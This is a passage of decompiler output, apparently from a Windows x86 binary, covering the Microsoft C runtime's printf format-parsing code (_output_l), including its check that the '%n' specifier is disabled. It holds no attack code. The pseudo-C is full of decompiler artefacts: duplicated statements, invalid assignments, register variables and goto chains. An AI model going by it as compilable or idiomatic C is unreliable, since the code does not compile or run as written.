																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428288; // 0x7b3f9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428274))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4282f4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004282B8))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AE20(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0x7e8e98dc
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x8a8e9826
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xc28e9826
																					E00424690(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E004284A0(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004284E0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E004284A0(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004284A0(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004284A0(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E004284A0(__ebp + 0x14);
																	__eax = E00434040();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E350();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																		__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADF0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BDF0(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
